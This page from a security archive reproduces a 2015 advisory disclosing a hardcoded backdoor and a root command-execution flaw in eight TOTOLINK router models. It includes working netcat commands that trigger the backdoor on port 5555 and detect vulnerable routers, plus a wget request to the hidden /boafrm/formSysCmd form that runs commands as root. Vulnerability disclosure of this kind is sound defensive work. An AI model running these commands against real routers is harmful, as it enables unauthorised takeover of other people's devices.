what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

8 TOTOLINK Routers Backdoored / Command Execution

8 TOTOLINK Routers Backdoored / Command Execution
Posted Jul 16, 2015
Authored by Pierre Kim, Alexandre Torres

8 TOTOLINK router models have backdoor hardcoded credentials and suffer from remote command execution vulnerabilities.

tags | exploit, remote, vulnerability
SHA-256 | da4f3b45bf033743303421b024a5e6709556b805b29ed6d02f62e31906abb380

8 TOTOLINK Routers Backdoored / Command Execution

Change Mirror Download

Please find a text-only version below sent to security mailing-lists.

The complete version on analysing the backdoor in TOTOLINK products is
posted here:


=== text-version of the advisory without technical explanations ===

Hash: SHA512

## Advisory Information

Title: Backdoor and RCE found in 8 TOTOLINK router models
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE

## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.

## Vulnerabilities Summary

A backdoor is present in several TOTOLINK products.
This was confirmed by analysing the latest firmwares and by testing
the backdoor against live routers.

At least 8 TOTOLINK products are affected (firmwares come from
totolink.net and from totolink.cn):

- A850R-V1 : until last firwmware TOTOLINK-A850R-V1.0.1-B20150707.1612.web
- F1-V2 : until last firmware F1-V2.1.1-B20150708.1646.web
- F2-V1 : until last firmware F2-V2.1.0-B20150320.1611.web
- N150RT-V2 : until last firmware TOTOLINK-N150RT-V2.1.1-B20150708.1548.web
- N151RT-V2 : until last firmware TOTOLINK-N151RT-V2.1.1-B20150708.1559.web
- N300RH-V2 : until last firmware TOTOLINK-N300RH-V2.0.1-B20150708.1625.web
- N300RH-V3 : until last firmware TOTOLINK-N300RH-V3.0.0-B20150331.0858.web
- N300RT-V2 : until last firmware TOTOLINK-N300RT-V2.1.1-B20150708.1613.web

By sending a crafted request to the WAN IP, an attacker will open the
HTTP remote management interface on the Internet.
Then an attacker can use a Remote Code Execution in the HTTP remote
management interface by using the hidden /boafrm/formSysCmd form,
bypassing the authentication system.

We estimate there are =~ 50 000 routers affected by this backdoor.

## Details - backdoor

The init.d script executes the /bin/skt binary when the router starts:

cat etc/init.d/rcS
# start web server

skt is a small MIPS binary which is a client/server program. The arguments are:

server: ./skt
client: ./skt host cmd

The binary can be used in x86_64 machines using QEMU: sudo chroot .
./qemu-mips-static ./bin/skt

Using skt without argument will launch a TCP daemon on port 5555 in
every interface (including WAN), acting as an ECHO server.
Using skt with arguments will send a TCP packet containing the command
to the specified IP on port 5555.

The analysis of the binary running on the TOTOLINK devices (for more
details, read
) shows the server mode responds to 3 commands by silently executing
system() in the background:

o By sending "hel,xasf" to the device, the device will execute:
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT

This will open the HTTP remote management interface on port 80 in
the eth1 interface which is the WAN interface by default.

o By sending "oki,xasf" to the device, the device will execute:
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT

This will close the HTTP remote management interface.

o By sending "bye,xasf" to the device, the device will do nothing

The iptables commands in the backdoor are hardcoded with "eth1".
Only devices using DHCP and static IP connections are affected because
the WAN IP is attached on the eth1 device.

It does not affect devices using PPPoE connections, because the WAN IP
is attached on the ppp device, as seen below:

totolink# ifconfig
ppp0 Link encap:Point-to-Point Protocol
inet addr:X.X.X.X P-t-P:X.X.X.X Mask:
RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0
TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:64
RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB)

An attacker can use these simple netcat commands to test the backdoor:

To open the HTTP remote management interface on the Internet:

echo -ne "hel,xasf" | nc <ip> 5555

To close the HTTP remote management interface on the Internet:

echo -ne "oki,xasf" | nc <ip> 5555

To detect a vulnerable router:

echo -ne "GET / HTTP/1.1" | nc <ip> 5555

if you see "GET / HTTP/1.1" in the answer, you likely detected a
vulnerable router.

## Details - RCE in the management interface

A hidden form in the latest firmware allows an attacker to execute
commands as root by sending a HTTP request:

POST /boafrm/formSysCmd HTTP/1.1


An attacker can use wget to execute commands in the remote device:

wget --post-data='sysCmd=<cmd>&apply=Apply&msg='

For instance, sending this HTTP request to the management interface
will reboot the device:

POST /boafrm/formSysCmd HTTP/1.1


This wget command will do the same job:

wget --post-data='sysCmd=reboot&apply=Apply&msg='

## Vendor Response

TOTOLINK was not contacted in regard of this case.

## Report Timeline

* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.
* Jun 26, 2015: Working PoCs with RCE.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.

## Credit

These vulnerabilities were found by Alexandre Torres and Pierre Kim

## References


## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

Version: GnuPG v1


Pierre Kim
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    31 Files
  • 31
    Mar 31st
    15 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By